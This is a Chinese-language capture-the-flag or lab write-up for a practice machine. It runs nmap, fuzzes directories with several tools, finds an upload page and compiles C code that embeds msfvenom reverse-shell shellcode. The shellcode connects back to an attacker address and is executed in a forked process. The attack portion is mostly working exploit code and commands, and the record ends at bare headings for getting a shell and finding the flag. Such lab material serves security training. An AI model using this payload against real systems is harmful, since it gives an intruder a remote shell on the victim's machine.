命令：nmap -A -Pn 192.168.243.171

Nmap initial output

Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-07-17 01:03 EDT
Nmap scan report for 192.168.243.171
Host is up (0.21s latency).
Not shown: 948 filtered tcp ports (no-response), 49 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 0c:f7:57:49:fc:d4:4e:73:97:2c:25:a2:6a:36:5b:2c (RSA)
|   256 87:35:fd:bc:0a:69:ff:e7:7f:4c:54:c7:bd:29:1d:b9 (ECDSA)
|_  256 2d:8b:f2:70:c4:57:44:62:d5:80:d6:0b:6e:31:a9:75 (ED25519)
**80/tcp   open   http       Apache httpd 2.4.37 ((centos))**
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
|_http-server-header: Apache/2.4.37 (centos)
9090/tcp closed zeus-admin
Aggressive OS guesses: Linux 4.4 (92%), Linux 4.9 (91%), Linux 3.10 - 3.12 (90%), Linux 4.0 (89%), Linux 3.10 - 3.16 (88%), Linux 3.11 - 4.1 (88%), Linux 2.6.32 (88%), Linux 3.4 (88%), Linux 3.5 (88%), Linux 4.2 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 9090/tcp)
HOP RTT       ADDRESS
-   Hop 1 is the same as for 192.168.243.172
2   205.23 ms 192.168.243.171

访问80端口，只显示apache的首页，需要fuzz一下可能的页面。但是很奇怪的是，用了好几个字典，gobuster，ffuf都没找到目标页面。

ffuf -u [<http://192.168.243.171/FUZZ>](<http://192.168.243.171/FUZZ>) -w /usr/share/dirb/wordlists/big.txt

ffuf -u [<http://192.168.243.171/FUZZ>](<http://192.168.243.171/FUZZ>) -w /usr/share/wordlists/dirb/common.txt

feroxbuster -u [<http://192.168.243.171/>](<http://192.168.243.171/>) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -n

以上三个命令都没找到需要的，最后是gobuster指定后缀才找到

gobuster dir -u [<http://192.168.243.171>](<http://192.168.243.171/>) -w /usr/share/wordlists/dirb/common.txt -e -x html

访问：http://192.168.243.171/upload.html

存在上传，根据要求，编写如下代码：（参照教材P404）

#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// To compile:
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl

// msfvenom -p linux/x64/shell_reverse_tcp  LHOST=192.168.49.243 LPORT=80 -f c
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x00\x50\xc0\xa8\x31\xf3\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

int main(void)
{
        printf("I love programming.");

        // Fork a new thread based on the current one
        if (fork() == 0)
        {
                // Execute shellcode in the new thread
                intptr_t pagesize = sysconf(_SC_PAGESIZE);

                // Make memory executable (required in libs)
                if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
                        // Handle error
                        perror("mprotect");
                        return -1;
                }

                // Cast and execute
                int (*ret)() = (int(*)())buf;
                ret();
        }
        else
        {
               
                printf("[Hijacked] Returning from function...\n");

        }
        // This shouldn't really execute
        printf("[Hijacked] Returning from main...\n");
        return 3;
}

编译命令：gcc -Wall -fPIC -z execstack -o rev.elf rev.c

上传，得到返回的shell：

产生一个伪终端：

查找flag：